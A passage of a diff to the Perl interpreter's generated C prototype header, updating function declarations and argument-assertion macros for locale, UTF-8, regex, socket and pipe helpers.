+PERL_CALLCONV Size_t	Perl_my_strnlen(const char *str, Size_t maxlen);
+#define PERL_ARGS_ASSERT_MY_STRNLEN	\
+	assert(str)
+#endif
 #if !defined(HAS_TRUNCATE) && !defined(HAS_CHSIZE) && defined(F_FREESP)
 PERL_CALLCONV I32	Perl_my_chsize(pTHX_ int fd, Off_t length)
 			__attribute__warn_unused_result__;
@@ -4067,21 +4298,32 @@
 	assert(rsfp)
 #  endif
 #endif
-#if !defined(SPRINTF_RETURNS_STRLEN)
-PERL_CALLCONV int	Perl_my_sprintf(char *buffer, const char *pat, ...);
-#define PERL_ARGS_ASSERT_MY_SPRINTF	\
-	assert(buffer); assert(pat)
-#endif
 #if !defined(USE_QUADMATH)
 #  if defined(PERL_IN_NUMERIC_C)
 STATIC NV	S_mulexp10(NV value, I32 exponent);
 #  endif
 #endif
+#if !defined(UV_IS_QUAD)
+#  if defined(PERL_IN_UTF8_C)
+STATIC int	S_is_utf8_cp_above_31_bits(const U8 * const s, const U8 * const e, const bool consider_overlongs)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_IS_UTF8_CP_ABOVE_31_BITS	\
+	assert(s); assert(e)
+
+#  endif
+#endif
 #if !defined(WIN32)
 PERL_CALLCONV bool	Perl_do_exec3(pTHX_ const char *incmd, int fd, int do_report);
 #define PERL_ARGS_ASSERT_DO_EXEC3	\
 	assert(incmd)
 #endif
+#if defined (HAS_SOCKETPAIR) ||     (defined (HAS_SOCKET) && defined(SOCK_DGRAM) && 	defined(AF_INET) && defined(PF_INET))
+PERL_CALLCONV int	Perl_PerlSock_socketpair_cloexec(pTHX_ int domain, int type, int protocol, int *pairfd)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_PERLSOCK_SOCKETPAIR_CLOEXEC	\
+	assert(pairfd)
+
+#endif
 #if defined(DEBUGGING)
 PERL_CALLCONV int	Perl_get_debug_opts(pTHX_ const char **s, bool givehelp)
 			__attribute__warn_unused_result__;
@@ -4098,6 +4340,19 @@
 PERL_CALLCONV void	Perl_set_padlist(CV * cv, PADLIST * padlist);
 #define PERL_ARGS_ASSERT_SET_PADLIST	\
 	assert(cv)
+#  if defined(PERL_IN_LOCALE_C)
+#    if defined(USE_LOCALE)
+STATIC void	S_print_bytes_for_locale(pTHX_ const char * const s, const char * const e, const bool is_utf8);
+#define PERL_ARGS_ASSERT_PRINT_BYTES_FOR_LOCALE	\
+	assert(s); assert(e)
+STATIC void	S_print_collxfrm_input_and_return(pTHX_ const char * const s, const char * const e, const STRLEN * const xlen, const bool is_utf8);
+#define PERL_ARGS_ASSERT_PRINT_COLLXFRM_INPUT_AND_RETURN	\
+	assert(s); assert(e)
+STATIC char *	S_setlocale_debug_string(const int category, const char* const locale, const char* const retval)
+			__attribute__warn_unused_result__;
+
+#    endif
+#  endif
 #  if defined(PERL_IN_PAD_C)
 STATIC void	S_cv_dump(pTHX_ const CV *cv, const char *title);
 #define PERL_ARGS_ASSERT_CV_DUMP	\
@@ -4118,7 +4373,7 @@
 	assert(r); assert(start); assert(node); assert(sv)
 STATIC bool	S_put_charclass_bitmap_innards(pTHX_ SV* sv, char* bitmap, SV* nonbitmap_invlist, SV* only_utf8_locale_invlist, const regnode * const node, const bool force_as_is_display);
 #define PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS	\
-	assert(sv); assert(bitmap)
+	assert(sv)
 STATIC SV*	S_put_charclass_bitmap_innards_common(pTHX_ SV* invlist, SV* posixes, SV* only_utf8, SV* not_utf8, SV* only_utf8_locale, const bool invert);
 #define PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS_COMMON	\
 	assert(invlist)
@@ -4166,16 +4421,6 @@
 #define PERL_ARGS_ASSERT_TOKEREPORT	\
 	assert(lvalp)
 #  endif
-#  if defined(USE_LOCALE)     && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
-PERL_CALLCONV char *	Perl__setlocale_debug_string(const int category, const char* const locale, const char* const retval)
-			__attribute__warn_unused_result__;
-
-#  endif
-#  if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
-STATIC void	S_print_collxfrm_input_and_return(pTHX_ const char * const s, const char * const e, const STRLEN * const xlen, const bool is_utf8);
-#define PERL_ARGS_ASSERT_PRINT_COLLXFRM_INPUT_AND_RETURN	\
-	assert(s); assert(e)
-#  endif
 #endif
 #if defined(DEBUGGING) && defined(ENABLE_REGEX_SETS_DEBUGGING)
 #  if defined(PERL_IN_REGCOMP_C)
@@ -4217,10 +4462,33 @@
 #define PERL_ARGS_ASSERT_DO_SHMIO	\
 	assert(mark); assert(sp)
 #endif
+#if defined(HAS_NL_LANGINFO)
+#  if defined(PERL_IN_LOCALE_C)
+STATIC const char*	S_my_nl_langinfo(const nl_item item, bool toggle);
+#  endif
+#endif
+#if defined(HAS_NL_LANGINFO) && defined(PERL_LANGINFO_H)
+PERL_CALLCONV const char*	Perl_langinfo(const nl_item item);
+#endif
+#if defined(HAS_PIPE)
+PERL_CALLCONV int	Perl_PerlProc_pipe_cloexec(pTHX_ int *pipefd)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_PERLPROC_PIPE_CLOEXEC	\
+	assert(pipefd)
+
+#endif
 #if defined(HAS_SIGACTION) && defined(SA_SIGINFO)
 PERL_CALLCONV Signal_t	Perl_csighandler(int sig, siginfo_t *info, void *uap);
 PERL_CALLCONV Signal_t	Perl_sighandler(int sig, siginfo_t *info, void *uap);
 #endif
+#if defined(HAS_SOCKET)
+PERL_CALLCONV int	Perl_PerlSock_accept_cloexec(pTHX_ int listenfd, struct sockaddr *addr, Sock_size_t *addrlen)
+			__attribute__warn_unused_result__;
+
+PERL_CALLCONV int	Perl_PerlSock_socket_cloexec(pTHX_ int domain, int type, int protocol)
+			__attribute__warn_unused_result__;
+
+#endif
 #if defined(HAVE_INTERP_INTERN)
 PERL_CALLCONV void	Perl_sys_intern_clear(pTHX);
 PERL_CALLCONV void	Perl_sys_intern_init(pTHX);
@@ -4282,11 +4550,32 @@
 #endif
 #if defined(PERL_CORE) || defined (PERL_EXT)
 #ifndef PERL_NO_INLINE_FUNCTIONS
+PERL_STATIC_INLINE bool	S_is_utf8_non_invariant_string(const U8* const s, STRLEN len)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_IS_UTF8_NON_INVARIANT_STRING	\
+	assert(s)
+#endif
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
 PERL_STATIC_INLINE STRLEN	S_sv_or_pv_pos_u2b(pTHX_ SV *sv, const char *pv, STRLEN pos, STRLEN *lenp);
 #define PERL_ARGS_ASSERT_SV_OR_PV_POS_U2B	\
 	assert(sv); assert(pv)
 #endif
 #endif
+#if defined(PERL_CORE) || defined(PERL_EXT)
+PERL_CALLCONV bool	Perl_isSCRIPT_RUN(pTHX_ const U8 *s, const U8 *send, const bool utf8_target)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_ISSCRIPT_RUN	\
+	assert(s); assert(send)
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
+PERL_STATIC_INLINE Size_t	S_variant_under_utf8_count(const U8* const s, const U8* const e)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_VARIANT_UNDER_UTF8_COUNT	\
+	assert(s); assert(e)
+#endif
+
+#endif
 #if defined(PERL_CR_FILTER)
 #  if defined(PERL_IN_TOKE_C)
 STATIC I32	S_cr_textfilter(pTHX_ int idx, SV *sv, int maxlen);
@@ -4355,10 +4644,12 @@
 #define PERL_ARGS_ASSERT_FORM_NOCONTEXT	\
 	assert(pat)
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV int	Perl_fprintf_nocontext(PerlIO *stream, const char *format, ...)
 			__attribute__format__(__printf__,2,3);
 #define PERL_ARGS_ASSERT_FPRINTF_NOCONTEXT	\
 	assert(stream); assert(format)
+#endif
 
 PERL_CALLCONV void	Perl_load_module_nocontext(U32 flags, SV* name, SV* ver, ...);
 #define PERL_ARGS_ASSERT_LOAD_MODULE_NOCONTEXT	\
@@ -4373,10 +4664,12 @@
 #define PERL_ARGS_ASSERT_NEWSVPVF_NOCONTEXT	\
 	assert(pat)
 
+#ifndef NO_MATHOMS
 PERL_CALLCONV int	Perl_printf_nocontext(const char *format, ...)
 			__attribute__format__(__printf__,1,2);
 #define PERL_ARGS_ASSERT_PRINTF_NOCONTEXT	\
 	assert(format)
+#endif
 
 PERL_CALLCONV void	Perl_sv_catpvf_mg_nocontext(SV *const sv, const char *const pat, ...)
 			__attribute__format__(__printf__,2,3);
@@ -4436,7 +4729,7 @@
 STATIC bool	S_ingroup(pTHX_ Gid_t testgid, bool effective)
 			__attribute__warn_unused_result__;
 
-STATIC bool	S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, PerlIO *saveifp, PerlIO *saveofp, int savefd, char savetype, int writing, bool was_fdopen, const char *type);
+STATIC bool	S_openn_cleanup(pTHX_ GV *gv, IO *io, PerlIO *fp, char *mode, const char *oname, PerlIO *saveifp, PerlIO *saveofp, int savefd, char savetype, int writing, bool was_fdopen, const char *type, Stat_t *statbufp);
 #define PERL_ARGS_ASSERT_OPENN_CLEANUP	\
 	assert(gv); assert(io); assert(mode); assert(oname)
 STATIC IO *	S_openn_setup(pTHX_ GV *gv, char *mode, PerlIO **saveifp, PerlIO **saveofp, int *savefd, char *savetype);
@@ -4444,32 +4737,32 @@
 	assert(gv); assert(mode); assert(saveifp); assert(saveofp); assert(savefd); assert(savetype)
 #endif
 #if defined(PERL_IN_DOOP_C)
-STATIC I32	S_do_trans_complex(pTHX_ SV * const sv)
+STATIC Size_t	S_do_trans_complex(pTHX_ SV * const sv)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_DO_TRANS_COMPLEX	\
 	assert(sv)
 
-STATIC I32	S_do_trans_complex_utf8(pTHX_ SV * const sv)
+STATIC Size_t	S_do_trans_complex_utf8(pTHX_ SV * const sv)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_DO_TRANS_COMPLEX_UTF8	\
 	assert(sv)
 
-STATIC I32	S_do_trans_count(pTHX_ SV * const sv)
+STATIC Size_t	S_do_trans_count(pTHX_ SV * const sv)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_DO_TRANS_COUNT	\
 	assert(sv)
 
-STATIC I32	S_do_trans_count_utf8(pTHX_ SV * const sv)
+STATIC Size_t	S_do_trans_count_utf8(pTHX_ SV * const sv)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_DO_TRANS_COUNT_UTF8	\
 	assert(sv)
 
-STATIC I32	S_do_trans_simple(pTHX_ SV * const sv)
+STATIC Size_t	S_do_trans_simple(pTHX_ SV * const sv)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_DO_TRANS_SIMPLE	\
 	assert(sv)
 
-STATIC I32	S_do_trans_simple_utf8(pTHX_ SV * const sv)
+STATIC Size_t	S_do_trans_simple_utf8(pTHX_ SV * const sv)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_DO_TRANS_SIMPLE_UTF8	\
 	assert(sv)
@@ -4536,9 +4829,6 @@
 STATIC void	S_clear_placeholders(pTHX_ HV *hv, U32 items);
 #define PERL_ARGS_ASSERT_CLEAR_PLACEHOLDERS	\
 	assert(hv)
-STATIC void	S_hfreeentries(pTHX_ HV *hv);
-#define PERL_ARGS_ASSERT_HFREEENTRIES	\
-	assert(hv)
 STATIC void	S_hsplit(pTHX_ HV *hv, STRLEN const oldsize, STRLEN newsize);
 #define PERL_ARGS_ASSERT_HSPLIT	\
 	assert(hv)
@@ -4552,6 +4842,9 @@
 STATIC SV*	S_hv_free_ent_ret(pTHX_ HV *hv, HE *entry);
 #define PERL_ARGS_ASSERT_HV_FREE_ENT_RET	\
 	assert(hv); assert(entry)
+STATIC void	S_hv_free_entries(pTHX_ HV *hv);
+#define PERL_ARGS_ASSERT_HV_FREE_ENTRIES	\
+	assert(hv)
 STATIC void	S_hv_magic_check(HV *hv, bool *needs_copy, bool *needs_store);
 #define PERL_ARGS_ASSERT_HV_MAGIC_CHECK	\
 	assert(hv); assert(needs_copy); assert(needs_store)
@@ -4575,7 +4868,7 @@
 #define PERL_ARGS_ASSERT_SAVE_HEK_FLAGS	\
 	assert(str)
 
-STATIC HEK*	S_share_hek_flags(pTHX_ const char *str, I32 len, U32 hash, int flags)
+STATIC HEK*	S_share_hek_flags(pTHX_ const char *str, STRLEN len, U32 hash, int flags)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_SHARE_HEK_FLAGS	\
 	assert(str)
@@ -4592,6 +4885,35 @@
 #define PERL_ARGS_ASSERT_HFREE_NEXT_ENTRY	\
 	assert(hv); assert(indexp)
 #endif
+#if defined(PERL_IN_LOCALE_C)
+STATIC const char*	S_category_name(const int category);
+STATIC void	S_restore_switched_locale(pTHX_ const int category, const char * const original_locale);
+#ifndef PERL_NO_INLINE_FUNCTIONS
+PERL_STATIC_INLINE const char *	S_save_to_buffer(const char * string, char **buf, Size_t *buf_size, const Size_t offset)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_SAVE_TO_BUFFER	\
+	assert(buf_size)
+#endif
+
+STATIC const char*	S_switch_category_locale_to_template(pTHX_ const int switch_category, const int template_category, const char * template_locale);
+#  if defined(USE_LOCALE)
+STATIC void	S_new_collate(pTHX_ const char* newcoll);
+STATIC void	S_new_ctype(pTHX_ const char* newctype);
+#define PERL_ARGS_ASSERT_NEW_CTYPE	\
+	assert(newctype)
+STATIC void	S_new_numeric(pTHX_ const char* newnum);
+STATIC void	S_set_numeric_radix(pTHX_ const bool use_locale);
+STATIC char*	S_stdize_locale(pTHX_ char* locs);
+#define PERL_ARGS_ASSERT_STDIZE_LOCALE	\
+	assert(locs)
+#    if defined(USE_POSIX_2008_LOCALE)
+STATIC const char*	S_emulate_setlocale(const int category, const char* locale, unsigned int index, const bool is_index_valid);
+#    endif
+#    if defined(WIN32)
+STATIC char*	S_win32_setlocale(pTHX_ int category, const char* locale);
+#    endif
+#  endif
+#endif
 #if defined(PERL_IN_LOCALE_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_MATHOMS_C)
 #  if defined(USE_LOCALE_COLLATE)
 PERL_CALLCONV char*	Perl__mem_collxfrm(pTHX_ const char* input_string, STRLEN len, STRLEN* xlen, bool utf8);
@@ -4688,7 +5010,7 @@
 #define PERL_ARGS_ASSERT_LOOKS_LIKE_BOOL	\
 	assert(o)
 STATIC OP*	S_modkids(pTHX_ OP *o, I32 type);
-STATIC void	S_move_proto_attr(pTHX_ OP **proto, OP **attrs, const GV *name);
+STATIC void	S_move_proto_attr(pTHX_ OP **proto, OP **attrs, const GV *name, bool curstash);
 #define PERL_ARGS_ASSERT_MOVE_PROTO_ATTR	\
 	assert(proto); assert(attrs); assert(name)
 STATIC OP *	S_my_kid(pTHX_ OP *o, OP *attrs, OP **imopsp);
@@ -4723,6 +5045,9 @@
 #define PERL_ARGS_ASSERT_OP_STD_INIT	\
 	assert(o)
 #endif
+STATIC void	S_optimize_op(pTHX_ OP* o);
+#define PERL_ARGS_ASSERT_OPTIMIZE_OP	\
+	assert(o)
 STATIC OP*	S_pmtrans(pTHX_ OP* o, OP* expr, OP* repl);
 #define PERL_ARGS_ASSERT_PMTRANS	\
 	assert(o); assert(expr); assert(repl)
@@ -4848,7 +5173,7 @@
 #define PERL_ARGS_ASSERT_DESTROY_MATCHER	\
 	assert(matcher)
 STATIC OP*	S_do_smartmatch(pTHX_ HV* seen_this, HV* seen_other, const bool copied);
-STATIC OP*	S_docatch(pTHX_ OP *o)
+STATIC OP*	S_docatch(pTHX_ Perl_ppaddr_t firstpp)
 			__attribute__warn_unused_result__;
 
 STATIC bool	S_doeval_compile(pTHX_ U8 gimme, CV* outside, U32 seq, HV* hh);
@@ -4934,7 +5259,7 @@
 STATIC char	S_first_symbol(const char *pat, const char *patend);
 #define PERL_ARGS_ASSERT_FIRST_SYMBOL	\
 	assert(pat); assert(patend)
-STATIC const char *	S_get_num(pTHX_ const char *patptr, I32 *lenptr)
+STATIC const char *	S_get_num(pTHX_ const char *patptr, SSize_t *lenptr)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_GET_NUM	\
 	assert(patptr); assert(lenptr)
@@ -4947,7 +5272,7 @@
 #define PERL_ARGS_ASSERT_IS_AN_INT	\
 	assert(s)
 
-STATIC I32	S_measure_struct(pTHX_ struct tempsym* symptr);
+STATIC SSize_t	S_measure_struct(pTHX_ struct tempsym* symptr);
 #define PERL_ARGS_ASSERT_MEASURE_STRUCT	\
 	assert(symptr)
 STATIC SV*	S_mul128(pTHX_ SV *sv, U8 m);
@@ -4972,7 +5297,7 @@
 #define PERL_ARGS_ASSERT_SV_EXP_GROW	\
 	assert(sv)
 
-STATIC I32	S_unpack_rec(pTHX_ struct tempsym* symptr, const char *s, const char *strbeg, const char *strend, const char **new_s);
+STATIC SSize_t	S_unpack_rec(pTHX_ struct tempsym* symptr, const char *s, const char *strbeg, const char *strend, const char **new_s);
 #define PERL_ARGS_ASSERT_UNPACK_REC	\
 	assert(symptr); assert(s); assert(strbeg); assert(strend)
 #endif
@@ -4986,9 +5311,6 @@
 STATIC I32	S_amagic_ncmp(pTHX_ SV *const a, SV *const b);
 #define PERL_ARGS_ASSERT_AMAGIC_NCMP	\
 	assert(a); assert(b)
-STATIC void	S_qsortsvu(pTHX_ SV** array, size_t num_elts, SVCOMPARE_t compare);
-#define PERL_ARGS_ASSERT_QSORTSVU	\
-	assert(compare)
 STATIC I32	S_sortcv(pTHX_ SV *const a, SV *const b);
 #define PERL_ARGS_ASSERT_SORTCV	\
 	assert(a); assert(b)
@@ -5059,6 +5381,11 @@
 #define PERL_ARGS_ASSERT_EDIT_DISTANCE	\
 	assert(src); assert(tgt)
 
+STATIC SV *	S_get_ANYOFM_contents(pTHX_ const regnode * n)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_GET_ANYOFM_CONTENTS	\
+	assert(n)
+
 STATIC SV*	S_get_ANYOF_cp_list_for_ssc(pTHX_ const RExC_state_t *pRExC_state, const regnode_charclass* const node);
 #define PERL_ARGS_ASSERT_GET_ANYOF_CP_LIST_FOR_SSC	\
 	assert(pRExC_state); assert(node)
@@ -5138,6 +5465,11 @@
 STATIC I32	S_make_trie(pTHX_ RExC_state_t *pRExC_state, regnode *startbranch, regnode *first, regnode *last, regnode *tail, U32 word_count, U32 flags, U32 depth);
 #define PERL_ARGS_ASSERT_MAKE_TRIE	\
 	assert(pRExC_state); assert(startbranch); assert(first); assert(last); assert(tail)
+STATIC bool	S_new_regcurly(const char *s, const char *e)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_NEW_REGCURLY	\
+	assert(s); assert(e)
+
 STATIC void	S_nextchar(pTHX_ RExC_state_t *pRExC_state);
 #define PERL_ARGS_ASSERT_NEXTCHAR	\
 	assert(pRExC_state)
@@ -5281,7 +5613,6 @@
 PERL_CALLCONV SV*	Perl__get_regclass_nonbitmap_data(pTHX_ const regexp *prog, const struct regnode *node, bool doinit, SV **listsvp, SV **lonly_utf8_locale, SV **output_invlist);
 #define PERL_ARGS_ASSERT__GET_REGCLASS_NONBITMAP_DATA	\
 	assert(node)
-PERL_CALLCONV void	Perl__load_PL_utf8_foldclosures(pTHX);
 PERL_CALLCONV int	Perl_re_printf(pTHX_ const char *fmt, ...);
 #define PERL_ARGS_ASSERT_RE_PRINTF	\
 	assert(fmt)
@@ -5289,7 +5620,7 @@
 #define PERL_ARGS_ASSERT_REGPROP	\
 	assert(sv); assert(o)
 #endif
-#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C)
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_UTF8_C)
 PERL_CALLCONV SV*	Perl__get_swash_invlist(pTHX_ SV* const swash)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT__GET_SWASH_INVLIST	\
@@ -5314,11 +5645,6 @@
 #define PERL_ARGS_ASSERT__INVLIST_SEARCH	\
 	assert(invlist)
 
-PERL_CALLCONV HV*	Perl__swash_inversion_hash(pTHX_ SV* const swash)
-			__attribute__warn_unused_result__;
-#define PERL_ARGS_ASSERT__SWASH_INVERSION_HASH	\
-	assert(swash)
-
 #ifndef PERL_NO_INLINE_FUNCTIONS
 PERL_STATIC_INLINE bool*	S_get_invlist_offset_addr(SV* invlist)
 			__attribute__warn_unused_result__;
@@ -5350,15 +5676,15 @@
 PERL_CALLCONV char	Perl_grok_bslash_c(pTHX_ const char source, const bool output_warning)
 			__attribute__warn_unused_result__;
 
-PERL_CALLCONV bool	Perl_grok_bslash_o(pTHX_ char** s, UV* uv, const char** error_msg, const bool output_warning, const bool strict, const bool silence_non_portable, const bool utf8)
+PERL_CALLCONV bool	Perl_grok_bslash_o(pTHX_ char** s, const char* const send, UV* uv, const char** error_msg, const bool output_warning, const bool strict, const bool silence_non_portable, const bool utf8)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_GROK_BSLASH_O	\
-	assert(s); assert(uv); assert(error_msg)
+	assert(s); assert(send); assert(uv); assert(error_msg)
 
-PERL_CALLCONV bool	Perl_grok_bslash_x(pTHX_ char** s, UV* uv, const char** error_msg, const bool output_warning, const bool strict, const bool silence_non_portable, const bool utf8)
+PERL_CALLCONV bool	Perl_grok_bslash_x(pTHX_ char** s, const char* const send, UV* uv, const char** error_msg, const bool output_warning, const bool strict, const bool silence_non_portable, const bool utf8)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_GROK_BSLASH_X	\
-	assert(s); assert(uv); assert(error_msg)
+	assert(s); assert(send); assert(uv); assert(error_msg)
 
 #ifndef PERL_NO_INLINE_FUNCTIONS
 PERL_STATIC_INLINE I32	S_regcurly(const char *s)
@@ -5442,10 +5768,35 @@
 #define PERL_ARGS_ASSERT_FIND_BYCLASS	\
 	assert(prog); assert(c); assert(s); assert(strend)
 
-STATIC bool	S_isFOO_utf8_lc(pTHX_ const U8 classnum, const U8* character)
+STATIC char *	S_find_next_ascii(char* s, const char * send, const bool is_utf8)
 			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_FIND_NEXT_ASCII	\
+	assert(s); assert(send)
+
+STATIC U8 *	S_find_next_masked(U8 * s, const U8 * send, const U8 byte, const U8 mask)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_FIND_NEXT_MASKED	\
+	assert(s); assert(send)
+
+STATIC char *	S_find_next_non_ascii(char* s, const char * send, const bool is_utf8)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_FIND_NEXT_NON_ASCII	\
+	assert(s); assert(send)
+
+STATIC U8 *	S_find_span_end(U8* s, const U8 * send, const U8 span_byte)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_FIND_SPAN_END	\
+	assert(s); assert(send)
+
+STATIC U8 *	S_find_span_end_mask(U8 * s, const U8 * send, const U8 span_byte, const U8 mask)
+			__attribute__warn_unused_result__;
+#define PERL_ARGS_ASSERT_FIND_SPAN_END_MASK	\
+	assert(s); assert(send)
+
+STATIC bool	S_isFOO_utf8_lc(pTHX_ const U8 classnum, const U8* character, const U8* e)
+			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_ISFOO_UTF8_LC	\
-	assert(character)
+	assert(character); assert(e)
 
 STATIC bool	S_isGCB(pTHX_ const GCB_enum before, const GCB_enum after, const U8 * const strbeg, const U8 * const curpos, const bool utf8_target)
 			__attribute__warn_unused_result__;
@@ -5554,7 +5905,7 @@
 STATIC bool	S_curse(pTHX_ SV * const sv, const bool check_refcnt);
 #define PERL_ARGS_ASSERT_CURSE	\
 	assert(sv)
-STATIC I32	S_expect_number(pTHX_ char **const pattern)
+STATIC STRLEN	S_expect_number(pTHX_ const char **const pattern)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_EXPECT_NUMBER	\
 	assert(pattern)
@@ -5651,7 +6002,6 @@
 STATIC void	S_checkcomma(pTHX_ const char *s, const char *name, const char *what);
 #define PERL_ARGS_ASSERT_CHECKCOMMA	\
 	assert(s); assert(name); assert(what)
-STATIC int	S_deprecate_commaless_var_list(pTHX);
 STATIC char *	S_filter_gets(pTHX_ SV *sv, STRLEN append)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_FILTER_GETS	\
@@ -5681,19 +6031,19 @@
 #define PERL_ARGS_ASSERT_GET_AND_CHECK_BACKSLASH_N_NAME	\
 	assert(s); assert(e)
 
-STATIC void	S_incline(pTHX_ const char *s);
+STATIC void	S_incline(pTHX_ const char *s, const char *end);
 #define PERL_ARGS_ASSERT_INCLINE	\
-	assert(s)
+	assert(s); assert(end)
 STATIC int	S_intuit_method(pTHX_ char *s, SV *ioname, CV *cv);
 #define PERL_ARGS_ASSERT_INTUIT_METHOD	\
 	assert(s)
-STATIC int	S_intuit_more(pTHX_ char *s);
+STATIC int	S_intuit_more(pTHX_ char *s, char *e);
 #define PERL_ARGS_ASSERT_INTUIT_MORE	\
-	assert(s)
+	assert(s); assert(e)
 STATIC I32	S_lop(pTHX_ I32 f, U8 x, char *s);
 #define PERL_ARGS_ASSERT_LOP	\
 	assert(s)
-PERL_STATIC_NO_RET void	S_missingterm(pTHX_ char *s)
+PERL_STATIC_NO_RET void	S_missingterm(pTHX_ char *s, STRLEN len)
 			__attribute__noreturn__;
 
 STATIC SV*	S_new_constant(pTHX_ const char *s, STRLEN len, const char *key, STRLEN keylen, SV *sv, SV *pv, const char *type, STRLEN typelen);
@@ -5702,7 +6052,7 @@
 STATIC void	S_no_op(pTHX_ const char *const what, char *s);
 #define PERL_ARGS_ASSERT_NO_OP	\
 	assert(what)
-STATIC void	S_parse_ident(pTHX_ char **s, char **d, char * const e, int allow_package, bool is_utf8, bool check_dollar);
+STATIC void	S_parse_ident(pTHX_ char **s, char **d, char * const e, int allow_package, bool is_utf8, bool check_dollar, bool tick_warn);
 #define PERL_ARGS_ASSERT_PARSE_IDENT	\
 	assert(s); assert(d); assert(e)
 STATIC int	S_pending_ident(pTHX);
@@ -5790,9 +6140,9 @@
 	assert(stash); assert(name)
 #endif
 #if defined(PERL_IN_UTF8_C)
-STATIC UV	S__to_utf8_case(pTHX_ const UV uv1, const U8 *p, U8* ustrp, STRLEN *lenp, SV **swashp, const char *normal, const char *special);
+STATIC UV	S__to_utf8_case(pTHX_ const UV uv1, const U8 *p, U8* ustrp, STRLEN *lenp, SV *invlist, const int * const invmap, const unsigned int * const * const aux_tables, const U8 * const aux_table_lengths, const char * const normal);
 #define PERL_ARGS_ASSERT__TO_UTF8_CASE	\
-	assert(p); assert(ustrp); assert(swashp); assert(normal)
+	assert(p); assert(ustrp); assert(invlist); assert(invmap); assert(normal)
 STATIC U32	S_check_and_deprecate(pTHX_ const U8 * p, const U8 ** e, const unsigned type, const bool use_locale, const char * const file, const unsigned line);
 #define PERL_ARGS_ASSERT_CHECK_AND_DEPRECATE	\
 	assert(p); assert(e); assert(file)
@@ -5802,7 +6152,7 @@
 	assert(p); assert(ustrp); assert(lenp)
 
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_does_utf8_overflow(const U8 * const s, const U8 * e)
+PERL_STATIC_INLINE int	S_does_utf8_overflow(const U8 * const s, const U8 * e, const bool consider_overlongs)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_DOES_UTF8_OVERFLOW	\
 	assert(s); assert(e)
@@ -5809,7 +6159,7 @@
 #endif
 
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_isFF_OVERLONG(const U8 * const s, const STRLEN len)
+PERL_STATIC_INLINE int	S_isFF_OVERLONG(const U8 * const s, const STRLEN len)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_ISFF_OVERLONG	\
 	assert(s)
@@ -5819,7 +6169,7 @@
 PERL_STATIC_INLINE bool	S_is_utf8_common(pTHX_ const U8 *const p, SV **swash, const char * const swashname, SV* const invlist)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_COMMON	\
-	assert(p); assert(swash); assert(swashname)
+	assert(p); assert(swashname)
 #endif
 
 #ifndef PERL_NO_INLINE_FUNCTIONS
@@ -5826,23 +6176,21 @@
 PERL_STATIC_INLINE bool	S_is_utf8_common_with_len(pTHX_ const U8 *const p, const U8 *const e, SV **swash, const char * const swashname, SV* const invlist)
 			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_COMMON_WITH_LEN	\
-	assert(p); assert(e); assert(swash); assert(swashname)
+	assert(p); assert(e); assert(swashname)
 #endif
 
 #ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_utf8_cp_above_31_bits(const U8 * const s, const U8 * const e)
+PERL_STATIC_INLINE int	S_is_utf8_overlong_given_start_byte_ok(const U8 * const s, const STRLEN len)
 			__attribute__warn_unused_result__;
-#define PERL_ARGS_ASSERT_IS_UTF8_CP_ABOVE_31_BITS	\
-	assert(s); assert(e)
-#endif
-
-#ifndef PERL_NO_INLINE_FUNCTIONS
-PERL_STATIC_INLINE bool	S_is_utf8_overlong_given_start_byte_ok(const U8 * const s, const STRLEN len)
-			__attribute__warn_unused_result__;
 #define PERL_ARGS_ASSERT_IS_UTF8_OVERLONG_GIVEN_START_BYTE_OK	\
 	assert(s)
 #endif
 
